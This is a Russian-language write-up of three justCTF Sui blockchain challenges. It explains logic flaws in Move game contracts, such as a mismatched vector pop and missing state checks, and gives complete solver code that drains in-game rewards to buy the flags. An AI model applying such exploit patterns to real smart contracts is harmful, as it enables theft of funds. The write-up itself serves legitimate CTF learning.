Привет, меня зовут Ратмир Карабут, и сегодня я расскажу Вам о своем опыте участия в CTF.
Среди нескольких задач, которые мне удалось решить на недавнем 24-часовом квалификационном раунде justCTF, три относились к категории блокчейна и в основе своей имели простые игры-контракты на Move, размещенные в тестнете Sui. Каждая представляла собой сервис, принимающий контракт-солвер и проверяющий условия решения при его взаимодействии с опубликованным контрактом-челленджем, чтобы при их выполнении отдать флаг.
Ни одна из них не выглядит особенно трудной, но, судя по количеству решений, немногие из участвующих команд взялись за категорию в целом, поэтому в сравнении с другими сходными по сложности флагами эти три задачи благодаря динамическому скорингу приносили вместе значительное количество очков. Первая по сложности и вовсе скорее напоминала микчек-разминку с тривиальным решением, вторая была более вовлеченной, но загадка в третьей показалась мне действительно забавной, что и вдохновило меня на эту статью. Стоит, тем не менее, описать все по порядку:
The Otter Scrolls - easy (246 points, 33 solves)
Общий смысл первой задачи, The Otter Scrolls, заключался в освоении процесса работы с предоставленным фреймворком - пробежав глазами контракт, понимаем, что нужно только отправить ему вектор с правильной последовательностью индексов, даже не обфусцированной в исходниках контракта, и вызвать после этого необходимые для получения флага функции. Для этого достаточно дописать в тело solve()
в выданном sources/framework-solve/solve/sources/solve.move
:
public fun solve(
_spellbook: &mut theotterscrolls::Spellbook,
_ctx: &mut TxContext
) {
let spell = vector[1u64,0,3,3,3];
theotterscrolls::cast_spell(spell, _spellbook);
theotterscrolls::check_if_spell_casted(_spellbook);
}
После этого нужно прописать в sources/framework-solve/dependency/Move.toml
верный адрес челлендж-контракта (его можно получить, напрямую постучавшись к сервису по выданному в условии адресу с помощью nc tos.nc.jsctf.pro 31337
):
...
[addresses]
admin = "0xfccc9a421bbb13c1a66a1aa98f0ad75029ede94857779c6915b44f94068b921e"
challenge = "542fe29e11d10314d3330e060c64f8fb9cd341981279432b03b2bd51cf5d489b"
Запустив после этого HOST=tos.nc.jctf.pro ./runclient.sh
(и, конечно, установив Sui ), получаем от сервиса первый флаг.
Dark BrOTTERhood - medium (275 points, 25 solves)
Анализ
Пробежав глазами второй контракт, видим, что основная интересующая нас игровая логика находится после стандартной обвязки в функциях секций SHOP и ADVENTURE TIME. При регистрации игрок получает 137 монет и 10 силы; вызвав функцию find_a_monster()
, мы можем добавить в вектор board.quests
"монстра" со случайными значениями силы (от 13 до 37) и награды (от 13 до 73), а также состоянием NEW
. fight_monster()
позволяет нам победить монстра из вектора квестов, если он находится в состоянии NEW
, а его сила меньше силы игрока, сбрасывает в этом случае силу игрока к 10 и меняет состояние квеста на WON
.
Чтобы получить необходимую для победы силу, придется вызвать buy_sword()
- "меч" увеличит силу на 100 (что гарантирует выполнение условия из fight_monster()
), но будет стоить игроку 137 монет - то есть все полученные изначально деньги. Так как максимальная награда за монстра - всего 73 монеты, первый же "бой" сделает продолжение игры по ее предполагаемой логике невозможным - по функции buy_flag
ясно, что для покупки флага нам потребуется 1337 монет.
Оставшиеся игровые функции - return_home()
, смысл которой заключается в простом переключении состояния выбранного квеста с WON
на FINISHED
, и get_the_reward()
, которая проверяет состояние FINISHED
и выдает игроку награду. К ней-то нам и следует присмотреться внимательнее:
#[allow(lint(self_transfer))]
public fun get_the_reward(
vault: &mut Vault<OTTER>,
board: &mut QuestBoard,
player: &mut Player,
quest_id: u64,
ctx: &mut TxContext,
) {
let quest_to_claim = vector::borrow_mut(&mut board.quests, quest_id);
assert!(quest_to_claim.fight_status == FINISHED, WRONG_STATE);
let monster = vector::pop_back(&mut board.quests);
let Monster {
fight_status: _,
reward: reward,
power: _
} = monster;
let coins = coin::split(&mut vault.cash, (reward as u64), ctx);
coin::join(&mut player.coins, coins);
}
Ключевая деталь, бросающаяся в глаза - несоответствие проверяемого квеста квесту, убираемому из вектора; хотя нам позволено указать индекс квеста, за который мы хотим получить награду, и именно его состояние необходимо установить в FINISHED
, из вектора убирается не он сам, а последний элемент вектора - через vector::pop_back()
(Vector - The Move Book)!
Эксплуатация
Выходит, что, так как ничто не мешает нам наполнить вектор произвольным (до QUEST_LIMIT
- 25) количеством квестов, мы можем потребовать у игры двух монстров, победить первого, купив меч - что позволяют начальные условия - перевести тем самым состояние квеста 0 в WON
, затем в FINISHED
при помощи return_home()
, затем, указав его индекс в get_the_reward()
, получить награду за второго - последнего в векторе - монстра, оставив при этом первого в состоянии FINISHED
. Вызывая после этого find_a_monster()
и get_the_reward()
необходимое - неограниченное - количество раз, мы можем гарантированно заработать на флаг примерно за сотню повторений.
Допишем решение в solve()
:
public fun solve(
_vault: &mut Otter::Vault<OTTER>,
_board: &mut Otter::QuestBoard,
_player: &mut Otter::Player,
_r: &Random,
_ctx: &mut TxContext,
) {
Otter::buy_sword(_vault, _player, _ctx);
Otter::find_a_monster(_board, _r, _ctx);
Otter::fight_monster(_board, _player, 0);
Otter::return_home(_board, 0);
let mut i = 0;
loop {
Otter::find_a_monster(_board, _r, _ctx);
Otter::get_the_reward(_vault, _board, _player, 0, _ctx);
i = i + 1;
if (i == 100) break;
};
let flag = Otter::buy_flag(_vault, _player, _ctx);
Otter::prove(_board, flag);
}
После чего, аналогично первой задаче, получаем и прописываем в sources/framework-solve/dependency/Move.toml
адрес контракта и, запустив клиент, получаем второй флаг.
World of Ottercraft - hard (271 points, 26 solves)
Анализ
Игра в третьем контракте похожа на предыдущую, но устроена очевидно сложнее - в для начала, теперь отслеживается состояние самого игрока, а не монстра, и их пять - PREPARE_FOR_TROUBLE
, ON_ADVENTURE
, RESTING
, SHOPPING
и FINISHED
. Далее, теперь для покупки силы (и флага) придется заходить в "таверну", вызвав функцию enter_tavern()
- это переключит состояние игрока из необходимого (и начального) RESTING
в SHOPPING
, что проверяется всеми функциями покупки, и вернет переменную типа TawernTicket
, которая по правилам Move должна быть потреблена внутри вызывающего контракта - это можно сделать только при помощи функции checkout()
. Таким образом, игрок набирает "корзину" покупок и выходит из "таверны", снова переводя состояние в RESTING
. Из register()
ясно, что на этот раз мы начинаем с 250 монетами.
Функций покупки теперь четыре - buy_flag()
устанавливает соответствующий флаг ticket
(который позже проверяется в checkout()
, приводя к победе) и увеличивает сумму на 537 монет, buy_sword()
, buy_shield()
и buy_power_of_friendship()
же увеличивают силу игрока на 213, 7 и 9000 за 140, 20 и 190 монет соответственно.
Здесь можно сразу заметить, что сила при покупке увеличивается моментально, не требуя проверки на то, что необходимая для покупки сумма действительно имеется на счету игрока - такая проверка происходит только в самом checkout()
, как и проверка на то, что общая стоимость выше 0 - не купив чего-то, выйти из таверны нельзя.
Кроме того, интересно, что, в отличие от функций покупки, checkout()
вовсе не проверяет состояние игрока - очевидно, расплатиться можно, и не находясь в "таверне". Запомним это на будущее.
Секция ADVENTURE TIME по-прежнему состоит из четырех функций - find_a_monster()
, bring_it_on()
, return_home()
и get_the_reward()
. Разберемся поподробнее:
public fun find_a_monster(board: &mut QuestBoard, player: &mut Player) {
assert!(player.status != SHOPPING && player.status != FINISHED && player.status != ON_ADVENTURE, WRONG_PLAYER_STATE);
assert!(vector::length(&board.quests) <= QUEST_LIMIT, TOO_MANY_MONSTERS);
let quest = if (vector::length(&board.quests) % 3 == 0) {
Monster {
reward: 100,
power: 73
}
} else if (vector::length(&board.quests) % 3 == 1) {
Monster {
reward: 62,
power: 81
}
} else {
Monster {
reward: 79,
power: 94
}
};
vector::push_back(&mut board.quests, quest);
player.status = PREPARE_FOR_TROUBLE;
}
find_a_monster()
на этот раз не наделяет монстров случайными параметрами, а раздает награду и силу в зависимости от того, сколько монстров уже есть в векторе. Состояние переключается в PREPARE_FOR_TROUBLE
, но интересно, что проверка в функции не требует определенного состояния, а не пускает только игроков в состояниях SHOPPING
, FINISHED
и ON_ADVENTURE
. Деталь на первый взгляд кажется невинной, но все же запомним - вызывать find_a_monster()
можно неограниченное количество раз подряд.
public fun bring_it_on(board: &mut QuestBoard, player: &mut Player, quest_id: u64) {
assert!(player.status != SHOPPING && player.status != FINISHED && player.status != RESTING && player.status != ON_ADVENTURE, WRONG_PLAYER_STATE);
let monster = vector::borrow_mut(&mut board.quests, quest_id);
assert!(player.power > monster.power, BETTER_GET_EQUIPPED);
player.status = ON_ADVENTURE;
player.power = 10; //equipment breaks after fighting the monster, and friends go to party :c
monster.power = 0; //you win! wow!
player.quest_index = quest_id;
}
bring_it_on()
так же проверяет состояние игрока на несоответствие, но на этот раз вариантов, кроме BRING_IT_ON
, не остается - поэтому функция может быть вызвана только после find_a_monster()
, что выглядит корректно. Как и в Dark BrOTTERhood, игрок может выбрать произвольного монстра из вектора, чтобы помериться с ним силой. В случае победы состояние переходит в ON_ADVENTURE
, сила игрока сбрасывается в 10, сила монстра устанавливается в 0, player.quest_index
(изначально 0) - в индекс монстра.
public fun return_home(board: &mut QuestBoard, player: &mut Player) {
assert!(player.status != SHOPPING && player.status != FINISHED && player.status != RESTING && player.status != PREPARE_FOR_TROUBLE, WRONG_PLAYER_STATE);
let quest_to_finish = vector::borrow(&board.quests, player.quest_index);
assert!(quest_to_finish.power == 0, WRONG_AMOUNT);
player.status = FINISHED;
}
return_home()
опять же корректно, хотя и неуклюже, проверяет состояние и может быть вызвана, видимо, только после bring_it_on()
- статус переключается из ON_ADVENTURE
в FINISHED
, если сила монстра по индексу в player.quest_index
равна нулю.
public fun get_the_reward(vault: &mut Vault<OTTER>, board: &mut QuestBoard, player: &mut Player, ctx: &mut TxContext) {
assert!(player.status != RESTING && player.status != PREPARE_FOR_TROUBLE && player.status != ON_ADVENTURE, WRONG_PLAYER_STATE);
let monster = vector::remove(&mut board.quests, player.quest_index);
let Monster {
reward: reward,
power: _
} = monster;
let coins = coin::split(&mut vault.cash, reward, ctx);
let balance = coin::into_balance(coins);
balance::join(&mut player.wallet, balance);
player.status = RESTING;
}
Наконец, get_the_reward()
снова недопроверяет состояние - видим, что кроме подразумеваемого FINISHED
получить награду за квест можно не выходя из таверны, то есть в статусе SHOPPING
. В отличие от Dark BrOTTERhood, впрочем, похоже, что побежденный монстр корректно убирается из вектора - во всяком случае, используется player.quest_index
, и произвольно указать индекс нельзя. Игрок же получает монеты и переходит в изначальный RESTING
.
Эксплуатация
Для начала подведем итоги найденным багам:
сила игрока увеличивается в таверне до проверки на платежеспособность
расплатиться по чеку таверны можно откуда угодно, то есть из любого состояния
искать монстров, то есть добавлять их в список, можно много раз подряд (возможно, фича?)
получить награду за побежденного монстра (и вернуться на заслуженный отдых) можно прямо из таверны
Покрутив эти четыре пункта в голове так и эдак, осознаем, во-первых - награду за монстра, полученную в таверне, можно тут же использовать для покупки! В самом деле, если награда получается из таверны с переключением статуса в RESTING
, а checkout()
статус не проверяет вовсе, получить TawernTicket
и расплатиться по нему можно, на деле увеличив, а не уменьшив, сумму на счету - без покупки обойтись нельзя, но для выполнения этого условия мы можем покупать дешевые щиты, которые полученная награда всегда будет перевешивать. Так как get_the_reward()
использует неизменный player.quest_index
, а также - во-вторых - не выполняет никаких проверок на состояние самого квеста (ведь сила монстра учитывается только в bring_it_on()
и return_home()
) - то нам было бы достаточно выстроить очередь из монстров на заклание, послушно сдвигающуюся к нашему (предпочтительно нулевому) индексу при каждом новом вызове get_the_reward()
.
Но - в-третьих - благодаря пункту 3 мы уже знаем, как устроить эту очередь! Впрочем, как и в Dark BrOTTERhood, нам придется замарать руки и честно справиться с одним монстром, чтобы правильно обойти состояния в первый раз - к сожалению, мы никак не можем использовать для этого первый баг, поскольку TawerTicket
должен быть использован корректно. Но этого и не нужно - начального капитала вполне хватит для первого сражения. Достаточно только купить меч и набрать полный контингент обманутых монстров при первом проходе через find_a_monster()
:
public fun solve(
_board: &mut Otter::QuestBoard,
_vault: &mut Otter::Vault<OTTER>,
_player: &mut Otter::Player,
_ctx: &mut TxContext
) {
let mut ticket = Otter::enter_tavern(_player);
Otter::buy_sword(_player, &mut ticket);
Otter::checkout(ticket, _player, _ctx, _vault, _board);
let mut i = 0;
loop {
Otter::find_a_monster(_board, _player);
i = i + 1;
if (i == 25) break;
};
Otter::bring_it_on(_board, _player, 0);
Otter::return_home(_board, _player);
Otter::get_the_reward(_vault, _board, _player, _ctx);
i = 0;
loop {
let mut ticket = Otter::enter_tavern(_player);
Otter::buy_shield(_player, &mut ticket);
Otter::get_the_reward(_vault, _board, _player, _ctx);
Otter::checkout(ticket, _player, _ctx, _vault, _board);
i = i + 1;
if (i == 24) break;
};
let mut ticket = Otter::enter_tavern(_player);
Otter::buy_flag(&mut ticket, _player);
Otter::checkout(ticket, _player, _ctx, _vault, _board);
}
Провернув знакомую процедуру, получаем третий и последний флаг в категории.
Заключение
Как видно, логические уязвимости в этой серии не имели прямого отношения к Move (пожалуй, за исключением ограничения на недоиспользование TawernTicket
в третьей, что усложнило возможное решение) - в принципе, задачи могли бы быть реализованы в виде стандартных оффчейновых сервисов. Впрочем, оформлены они были хорошо, решать их было удобно, а повозиться с Sui любопытно, и это принесло здесь 792 из 1325 набранных мной очков - а кроме того, будет хорошей подготовкой к следующему MoveCTF.
На этом все.
Наш сайт: https://radcop.online
Наш ТГ: @radcop_online
Наш YouTube-канал: www.youtube.com/@radcop